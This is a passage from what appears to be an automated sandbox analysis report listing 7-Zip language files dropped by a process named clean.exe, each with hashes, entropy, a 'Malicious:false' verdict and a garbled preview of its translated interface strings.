                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\lv.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5490
                                                                                                                                                                                                                                                                  Entropy (8bit):5.199765922695338
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:i01AxCUAMY/FnFMtAZVWsztyg/YEbSllsLHI5oT+obBd+YmNRJF:imUu/ZKuW2X2lqHI5oyidy
                                                                                                                                                                                                                                                                  MD5:341CC2C7302AE8E91B286D9EFFF55693
                                                                                                                                                                                                                                                                  SHA1:A92F6126AB3D22E2C6A8D35C29492946E92B4A3A
                                                                                                                                                                                                                                                                  SHA-256:4DE5F75C5E05EC4FABFC2D266AE5B254F0C335C822523A0A7F7EDC60E35A5E0D
                                                                                                                                                                                                                                                                  SHA-512:98F267B9023C5D681D6D2839A22DAE01285196BAB2080A9D9EE79ABB549B7A99BD6EFFC51A5896ECF541D98F47D1ABFC01F1C31DA498B0650738B63861667E36
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.10 : Armands Radzu.ka..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Latvian..Latvie.u..401..&Labi..&Atcelt........&J...&N...Aiz&v.rt..&Rokasgr.mata....&Turpin.t..440..J. &visiem..N. v&isiem..Stop..P.rstart.t..&Fon...&Priek.pl.n...Pa&uze..Pauz.ts..Vai piekr.tat p.rtraukt .o darb.bu?..500..&Fails..&Labo.ana..&Izskats..Ie&cien.t.s..&R.ki..&Pal.dz.ba..540..&Atv.rt..Atv.rt &iek.pus...Atv.rt .rp&us...Ap&skate..&Labot..P.&rd.v.t..&Kop.t uz.....P.r&vietot uz.....&Dz.st..&Sadal.t failu.....Ap&vienot failus......pa..&bas..&Piez.mes......Izveidot &mapi..Izveidot &failu..&Beigt..600..Iez.m.t &visu..Atcelt vis&u..I&nvert.t iez.m.jumu..Ie&z.m.t.....&Atcelt.....I&ez.m.t p.c tipa..A&tcelt p.c tipa..700..&Lielas ikonas..&Mazas ikonas..&Saraksts..S.&k.k..730..&Ne..irot....&2 pane.i..&R.ku joslas..&Atv.rt saknes mapi..L.meni &uz aug.u..Mapju &v.sture.....&P.rlas.t..750..Arh.va r.ku josla..Standarta r.ku josla..Liel

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mk.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8934
                                                                                                                                                                                                                                                                  Entropy (8bit):4.259244159879149
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ia3g0F7SHayJ5vKVEB3Bxg5GteGIxpWNMll39oWvt/i4drxJ4MrZEXSW:iWg0zyJlKVEB3A6SM2mWvt/i4dtJ4MNO
                                                                                                                                                                                                                                                                  MD5:71D42ABE45803AC9C3DA5FCACF9CC59C
                                                                                                                                                                                                                                                                  SHA1:98A1049906972ABB480ABAF1F5658C1B8C10F27C
                                                                                                                                                                                                                                                                  SHA-256:78F5CB9345AB258CF745EAA90D44C7A7A73D3FE06EA182B1298A989135FFA11F
                                                                                                                                                                                                                                                                  SHA-512:A0096575D6F911CC2600DAC93D6FD7AA8D9E2F9F71A92571A76996FB4C47BDB714BBA453C862B3F42CC5F4BAAF2AED1DFF3C9D6F84A3E2053FF2037C56AB85A5
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.09 : Gabriel Stojanoski..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Macedonian..............401....................&....&....&...................&.........440.... &........ .&............................&........&........&...................... ....... ...... .. ........?..500..&..........&.......&........&.........&........&.......540..&.............. &.............. &........&........&.......&.............&....... .......&........ .......&.........&...... ................&....... .............&.................&.................... .................... ..........&........600............ &................ ...

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mn.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8680
                                                                                                                                                                                                                                                                  Entropy (8bit):4.552914713447724
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i2GVqAYj834yHocynU6GwgeBLHvNlIfYfFCkMupHCwFxhjPQtQP1d/R1JTPUJ:i7kIYfUjuZxhDDHZQJ
                                                                                                                                                                                                                                                                  MD5:8756027ADF94B3CC3D6C42F0D3FB4AF0
                                                                                                                                                                                                                                                                  SHA1:823BDBC5ABF1D2F3528AA319A417EE090D1C6928
                                                                                                                                                                                                                                                                  SHA-256:CF5245D17224F85011ED85062957DBFD936DD760A214980FC8F2EB69E6BA3CFC
                                                                                                                                                                                                                                                                  SHA-512:92715A814D24318533BA26AF542B174DF12E5D8CD40251BC27890345EB6C64D174448745B2B138BD0A7E0FA0D96B803FAB9B29F89767729E64A95B164FB27F29
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.12 : Bayar..; : Bayarsaikhan..;..;..;..;..;..;..;..;..;..0..7-Zip..Mongolian........ .....401...................&......&......&.................&............440.....&. .......... .&................ .........&.. ......&.... .....&... ......... ........... ....... ..... ... ..... ..?..500..&......&.......&..........&..... ......&............&.........540..&........... &........... &......&.......&.............. .&............ &................. &.........&........&.... .................... ............&........ .........&................ ............ ..........&.....600......... ..&.............. .......&......... .

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mng.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):20722
                                                                                                                                                                                                                                                                  Entropy (8bit):3.631283338815982
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:ip3jpGUSlwi6aHQIXqB6B22bKP995BOqB8A5Y8KsC3u6cIVFJFGtMksJYkXoFs85:MWJbm50qN5Esd6t/XWjgqVpzs4XZd8sL
                                                                                                                                                                                                                                                                  MD5:BA28C5C312D1A7827B40ED84F1F6F85B
                                                                                                                                                                                                                                                                  SHA1:72788C4B14C47A3988245E81FC6E7BBB8F88442F
                                                                                                                                                                                                                                                                  SHA-256:92898472C1DB5248B0556FB5BAFDA8090684249B561DE5EF2A84C10F2F4383CA
                                                                                                                                                                                                                                                                  SHA-512:35871824ADEDE6169118087D28FE3C78EA09CB259C7C168E83A22CA74C024D9F0D61250AD1FC9F75B71A8EE5235A12FFD52C146B8232B7BEA84EC024B19DA7D5
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 7-Zip 9.20..; Saqirilatu Mongolqileb..; QQ:136087084 Email:saqirilatu@126.com..; Mongol soft QQ bulug .: 39338772 .:38803882..; Toli Mongolian IME ..; http://hi.baidu.com/saqirilatuu/item/9438213716f316ebe7bb7a8d..;last updated: 2014-1-1..;..;..;..;..0..7-Zip..Mongolian (Unicode)........ ......401............................ (&Y)...... (&N)........ (&C)........................ (&C)..440........ .... (&A)........ .... (&L).................. ............ ..... (&B)........ ..... (&F)........... (&P)......... ........... ...... ........ .. ...500....... (&F)............. (&E)....... (&V)...........

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mng2.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):22220
                                                                                                                                                                                                                                                                  Entropy (8bit):3.789538915454832
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ip3pxHmpcSmhZcbnD1e+Ft9780rdLdNQwL4rG/d+RWsB/O54Q4gLwqZ816d20xUS:ip3jJfHp4BLLCJOIYB
                                                                                                                                                                                                                                                                  MD5:A0D06DC2B7F53ACD8CDEBF7864080CD1
                                                                                                                                                                                                                                                                  SHA1:A4B9C4D1C4355BD90356E60289FB4EFCE0046B6A
                                                                                                                                                                                                                                                                  SHA-256:47BFE43F3F5A88A0F366FB317A542CDC1E216F8C368DDC67252480EDE7D130F4
                                                                                                                                                                                                                                                                  SHA-512:811FDBFC11F8DB60B2D059D433495FD50220E5A718ED9FE7F9C422D9695353825129B05E0F287419D4784C3564EA7CF7BE9117C4408170F4AFA3353FBC875442
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 7-Zip 9.20..; Saqirilatu Mongolqileb..; QQ:136087084 Email:saqirilatu@126.com..; Mongol soft QQ bulug .: 39338772 .:38803882..; Toli Mongolian IME ..; http://hi.baidu.com/saqirilatuu/item/9438213716f316ebe7bb7a8d..;last updated: 2013-12-11..; Update and Spelling corrected Bayarsaikhan..;..;..;..0..7-Zip..Mongolian (MenkCode).......... ......401.................................. (&Y)...... (&N).......... (&C)........................... (&C)..440......... ..... (&A)......... .... (&L)..................... ............. .... (&B)....... ... (&F)........... (&P)......... ............. ........ ............ .. .

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\mr.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):10948
                                                                                                                                                                                                                                                                  Entropy (8bit):4.055130920365555
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iSdCIrunpyKHseL4bzwltFrjVL0TEpbpFeki8rJNhBB:iSt6pypS4A7FYA1r
                                                                                                                                                                                                                                                                  MD5:2E9FC42DBD17E30F8DB8205FA2D18543
                                                                                                                                                                                                                                                                  SHA1:60639E6D06A38D5C507136C130A172D606B698E7
                                                                                                                                                                                                                                                                  SHA-256:08B8F7FF35DD4315133E04FD17B6FB896D63B9C87040A2CC68A83E81EA4EFD78
                                                                                                                                                                                                                                                                  SHA-512:7E1AA7234DC2C07654847DE01600787BA735E9CCF5D376D37696F3810418A357BEB1D611A164FDFD7A24CA33E7BED150DF08187D4ADE6C973C45BE5DF74FD95F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.42 : ...... ..... ....... (Subodh Gaikwad)..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Marathi.........401...................&....&......&............&......440..&.... .. ....&.... .. ................... .... .....&.... ......&.... .....&.......................... .... .......... ...... ... ..?..500..&......&........&........&......&.......&.....540..&......&.... ......&..... ......&.......&........... .....&..............&.........&.......&.... ..... ............ ..........

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ms.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5244
                                                                                                                                                                                                                                                                  Entropy (8bit):4.876296709121665
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:i1aRqkSE8E0q2sX0OIFiC5z4US6aWr8Y1KS4sgd6Jar:iMRqa8E0q2sNCC6aWr8Y1Kjsgd6+
                                                                                                                                                                                                                                                                  MD5:91DA4B7D7CB3B5EB4304394E0C4CAAF2
                                                                                                                                                                                                                                                                  SHA1:940259ADF9FE58722DF14BCDC472E1FB9196B6E2
                                                                                                                                                                                                                                                                  SHA-256:31AB339E581D0D13A43CADDE7C0D1E11CC03A6D8C92B91F8FE79963A6982DFF5
                                                                                                                                                                                                                                                                  SHA-512:743DE69FBDAB306F8550A9B377494F9231CBB7743F627E89540A8B924CC9E92E18159AFCA09EF363F2C1F4F8832A3DB9008F0C1DCD6012D5F05AB27A77D0E9FB
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.30 : Khairul Ridhwan Bin Omar..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Malay..Bahasa Melayu..401..OK..Batal........&Ya..&Tidak..&Tutup..Bantuan....&Teruskan..440..Ya untuk Semua..Tidak untuk Semua..Henti..Mula Semula..&Latar belakang..&Latar depan..&Berehat..Berehat..Anda yakin untuk membatalkannya?..500..&Fail..&Edit..&Paparan..K&egemaran..&Alat..&Bantuan..540..&Buka..Buka di D&alam..Buka di L&uar..&Paparan..&Edit..Nam&akan semula..&Salin ke.....&Pindahkan ke.....Hapus..&Bahagi/belah Fail.....Gab&ung Fail.....P&roperti..Kom&en......Buat Folder..Buat Fail..K&eluar..600..Pilih &Semua..Jangan Pilih Semua..&Sonsangkan Pilihan..Pilih.....Tidak Memilih.....Pilih Berdasarkan Jenis..Tidak Memilih Berdasarkan Jenis..700..Ikon B&esar..Ikon K&ecil..&Senarai..&Butiran..730..Tidak Tersusun....&2 Panel..&Toolbar..Buka Root Folder..Ke atas Satu Aras..Folder Sejarah.....&Segarkan Semula..750..Toolbar Arkib..Toolbar Standard..Bebutang Besar..Perlihatkan Teks Bebutang..800..&T

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\nb.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):6116
                                                                                                                                                                                                                                                                  Entropy (8bit):5.040717887898597
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:i1oyhiCM4JJ/xOpGapVLS59tToNrPQRv2GMM3gBiTZNYDnNKyxwHS0fegfwtC:iXpRJYpVm59tToNrPQRvpMEg8TmnNKyW
                                                                                                                                                                                                                                                                  MD5:7071CABD6FB28CEEDDEAC8B934879855
                                                                                                                                                                                                                                                                  SHA1:F45785BE897C13E90C0850A81252CA9EC472AA6A
                                                                                                                                                                                                                                                                  SHA-256:694481B64E223F9BDD0936F89138EF735CEB92AC962D9DD21682109BA81B9697
                                                                                                                                                                                                                                                                  SHA-512:B3B0A4DA8ECEEDB39CC72F344880920ACDEA7D01EC009FBCEAD3079AA0A576DDAA5B754FD9EC5770CC3FFE5621A95B00DA75448D5E7770549C0BEB756CCCEFF1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.45 : Jostein Christoffer Andersen..; : Kjetil Hjartnes..; : Robert Gr.nning..;..;..;..;..;..;..;..;..0..7-Zip..Norwegian Bokmal..Norsk Bokm.l..401..OK..Avbryt........&Ja..&Nei..&Lukk..Hjelp....&Fortsett..440..Ja til &alt..Nei til a&lt..Stopp..Start p. nytt..&Bakgrunn..&Forgrunn..&Stopp..Stoppet..Vil du avbryte?..500..&Fil..&Rediger..&Vis..&Bokmerker..Verk&t.y..&Hjelp..540..&.pne...pne &internt...pne &eksternt..&Vis..&Rediger..Gi nytt &navn..&Kopier til ...&Flytt til ...S&lett..&Del opp arkiv ...&Sett sammen arkiv ...E&genskaper..&Kommentar ...Beregn sjekksum....Ny &mappe ...Ny f&il ...&Avslutt..600..Merk &alle..Merk i&ngen..Merk &omvendt..Merk ...Merk &ikke ...Merk &valgt type..Merk i&kke valgt type..700..&Store ikoner..S&m. ikoner..&Liste..&Detaljer..730..Usortert..&Flat visning..&To felt..&Verkt.ylinjer..Rotmappe..G. opp et niv...Mappelogg ...&Oppdater..750..Arkivverkt.ylinje..Standardverkt.ylinje..Store knapper..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ne.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):13609
                                                                                                                                                                                                                                                                  Entropy (8bit):3.9309107268099224
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iv4xgZB/n6NclUY0PA8jaeQPYX89RcgDZjGKOVdp:ivYUSNcOY0PA8+0gfOJ
                                                                                                                                                                                                                                                                  MD5:C7ED0560A6145A417B1E92546ED6B0F1
                                                                                                                                                                                                                                                                  SHA1:6BE9FF3E7EF34767CAA165A0E9851914BB65378A
                                                                                                                                                                                                                                                                  SHA-256:C129F67193295736E1C1FF4AC7245CBD737A07EA6073B43FD22AC767F3D56E23
                                                                                                                                                                                                                                                                  SHA-512:508504216C916C6EF168062C1D13336594D469DB92D8B40571C726A4B3053CA6FD0C57F9F2FC389F3216A5C663EBDC4AA520462EF39ABD5BE55C7B87B522D90F
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.37 : Shiva Pokharel, Mahesh Subedi..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Nepali..........401..... ....... .................&....&......&.... ....................&.... ............440..&...... ....&...... .....................: .... ...........&...........&..........&.. ............. ............. .... .... .... ......... ?..500..&......&....... ...........&............&..........&.......&.......540..&...................... ...................... ....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\nl.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9170
                                                                                                                                                                                                                                                                  Entropy (8bit):4.9339402603369535
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i3qY1RYse5di6pkV5UM2pLlB02nQXHTH2T8B/kNCehT7Pic4KrhE5VVKJQtNx4Co:i3lElMwLl+2n8WTa/kNrOK9E5KcLw
                                                                                                                                                                                                                                                                  MD5:15CD39180C29919C248F39C7F3A03D5C
                                                                                                                                                                                                                                                                  SHA1:3851B18BCA4C8E091A23923BB1FC24807E4BCDFD
                                                                                                                                                                                                                                                                  SHA-256:5F8490C2241623D9B7B078BE04EE46EC1470D6E4B2046BFD86F69D5882ED8410
                                                                                                                                                                                                                                                                  SHA-512:52056975C905A22864364319801C99C6EF3748AFE29438E78FE53A6F8CA5C6F92DDEE0D8CFC77A803439191180ACA6FEB004534E7530222E004D528B212268A1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Bert van Velsen..; 4.26 : Jeroen van der Weijde...; : Harm Hilvers..; 9.07 : Jeroen Tulp ..; 15.00 : Jeroen Tulp ..;..;..;..;..;..;..0..7-Zip..Dutch..Nederlands..401..OK..Annuleren........&Ja..&Nee..A&fsluiten..Help....&Hervatten..440..Ja op &alles..Nee op a&lles..Stop..Herstarten..&Achtergrond..&Voorgrond..&Pauzeren..Gepauzeerd..Weet u zeker dat u wilt annuleren?..500..&Bestand..Be&werken..Bee&ld..&Favorieten..E&xtra..&Help..540..&Openen..Open B&innen..Open B&uiten..Bee&ld..&Bewerken..&Hernoemen..&Kopi.ren naar.....&Verplaatsen naar.....Verwij&deren..Bestand &opsplitsen.....Bestanden &samenvoegen.....&Eigenschappen..O&pmerking..&Checksum berekenen..Ver&gelijken..Nieuwe &map..&Nieuw bestand..&Sluiten..Koppe&ling..&Alternate Streams..600..&Alles selecteren..A&lles de-selecteren..Selectie &omkeren..&Selecteer.....&De-selecteer.....Selecteer op &type..De-selecteer op t&ype..700..&Grote pictogrammen..&Kleine pictogrammen..&Lijst..&Details..730..&Onge

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\nn.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5987
                                                                                                                                                                                                                                                                  Entropy (8bit):5.010162330631242
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:i6nJPNV5T7bR/eGswck/SZI9o7JZqXFwKwo/c5zJsJGYsJW8L/c1N7lHvGy/Ynxj:i8Pf5LleGshkaa9o77sFuo/iJsEYsfwq
                                                                                                                                                                                                                                                                  MD5:366B85BF575444D20944DB387F94564E
                                                                                                                                                                                                                                                                  SHA1:E93FB8C9AE5EA26EB5C128BE27869CF3D3CF8FE4
                                                                                                                                                                                                                                                                  SHA-256:E6922E17B7622361BC4D07E76874A919E3095B477ED008986B94F84A931CB22F
                                                                                                                                                                                                                                                                  SHA-512:19A7B5C8F4CE681092ED56C78D9DD6BB95367809DB78F905F357859DD797E7E04810B6F0441B3F5EA7E1BF53D4E06CE361400F6899D8A6A54BA4FC58F9D8E991
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.45 : Robert Gr.nning..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Norwegian Nynorsk..Norsk Nynorsk..401..OK..Avbryt........&Ja..&Nei..&Lukke..Hjelp....&Hald fram..440..Ja til &alt..N&ei til alt..Stopp..Start p. nytt..&Bakgrunn..&Forgrunn..&Pause..Sett p. pause..Er du sikker p. du vil avbryte?..500..&Fil..&Redigere..&Vis..F&avorittar..Verk&t.y..&Hjelp..540..&Opna..Opna &Inni..Opna &Utanfor..&Vis..&Redigere..Endra &namn..&Kopiere til.....&Flytt til.....&Slett..&Del opp fil.....Set saman filer.....&Eigenskapar..Ko&mmentar..Rekna ut kontrollnummer....Opprett mappe..Opprett fil..&Avslutta..600..&Merk alle..Fjern alle markeringar..&Omvendt markering..Marker.....Fjern markering.....Merk etter type..Fjern markering etter type..700..S&tore ikon..S&m. ikon..&Lista..&Detaljar..730..Assortert..Flat vising..&2 felt..&Verkt.ylinjer..Opna kjeldemappa..Opp eit niv...Mappelogg.....&Oppdatere..750..Arkiv verkt.ylinje..Standard verkt.ylinjer..Store knappar..Vis knappetekst

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pa-in.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):15022
                                                                                                                                                                                                                                                                  Entropy (8bit):4.117786673775278
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iK8eAMv6KYvDPVWnkFGdRq8A9UCGd6KFnidivnjnqAPvowQoNVq4qEFmQt+MN9YL:iKpZnt/dhCivnjdjQKFNt+MNfU
                                                                                                                                                                                                                                                                  MD5:6C48ED7DEBA6D3EFE6447BE948471810
                                                                                                                                                                                                                                                                  SHA1:4E1D76D565211416F0ED32A2CDD473D9AC54A61F
                                                                                                                                                                                                                                                                  SHA-256:377F793EEDF3A935DDD6260D72AC3CADA9391AAFDF1F019D0BE72BE2B83A5DD9
                                                                                                                                                                                                                                                                  SHA-512:22B8BBB70492E19EDE9C5E74483A1A6D57D4F86F38D1321331E0137C7953C6612E03F854FB1BB0C3234BBC0F561E92501A345D881FC09DDE598E217D946018DD
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.53 : Gurmeet Singh Kochar..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Punjabi, Indian..........401..... ....... .............. (&Y)...... (&N)..... ... (&C).............. ... (&C)..440........ .. ... (&A)........ .. .... (&l)........... .... .............. (&B)........... (&F)...... (&P)...... ........ ..... ........ .. ... .... ....... ..?..500...... (&F)..... (&E)...... (&V)......... (&a)..... (&T)...... (&H)..540...... (&O)...... .... (&I)...... .... (&u)....... (&V)..... ... (&E)..... .... (&m)...... ...... .. ... .....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\pl.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8951
                                                                                                                                                                                                                                                                  Entropy (8bit):5.350008017617965
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:inl0xONXpVdHc+XmSxGk1s6i+6rELzFI6+0FVEHeeNRChH6ufZfjp8Rb:inSxO9vXmUs5+6QLzdjUHX2rp8Rb
                                                                                                                                                                                                                                                                  MD5:12926001214AC303A7878669A7868B26
                                                                                                                                                                                                                                                                  SHA1:CC51E3D7373DE0DDACD9B2EF0CC2DC5E44B0A425
                                                                                                                                                                                                                                                                  SHA-256:371A1B036C5155BB4D0EDE67A8111433D56980BC848256B657FB100447359A3B
                                                                                                                                                                                                                                                                  SHA-512:2C4D1B3E9DBC54857535DC24CAB61AE4A502E4706F8C84BC489A348745E5893D839021AC5510DAE7C818ACC55714FB5BCC5FA61FC219B5B1537D76D2835CBAD1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : cienislaw..; : pixel..; 9.07 : F1xat..; 9.33 : .ukasz Maria P. Pastuszczak..;..;..;..;..;..;..;..0..7-Zip..Polish..Polski..401..OK..Anuluj........&Tak..&Nie..&Zamknij..Pomoc....&Kontynuuj..440..Ta&k na wszystkie..Ni&e na wszystkie..Zatrzymaj..Pon.w..&T.o..&Pierwszy plan..&Wstrzymaj..Wstrzymano..Czy na pewno chcesz anulowa.?..500..&Plik..&Edycja..&Widok..&Ulubione..&Narz.dzia..Pomo&c..540..&Otw.rz..Otw.rz &wewn.trz..Otw.rz na &zewn.trz..Pod&gl.d..&Edytuj..Zmie. &nazw...Kopiuj &do.....&Przenie. do.....&Usu...Podzie&l plik.....Z..&cz pliki.....W.&a.ciwo.ci..Ko&mentarz..Oblicz sum. kontroln...Diff..Utw.rz &folder..U&tw.rz plik..Za&ko.cz..Dow&i.zanie..600..Z&aznacz wszystko..&Odznacz wszystko..Odwr.. &zaznaczenie..Zaznacz.....Odznacz.....Zaznacz wed.ug typu..Odznacz wed.ug typu..700..&Du.e ikony..&Ma.e ikony..&Lista..&Szczeg..y..730..Nieposortowane..Widok p.aski..&2 panele..&Paski narz.dzi..Otw.rz folder g..wny..D

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ps.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8671
                                                                                                                                                                                                                                                                  Entropy (8bit):4.651596660116007
                                                                                                                                                                                                                                                                  Encrypted:false
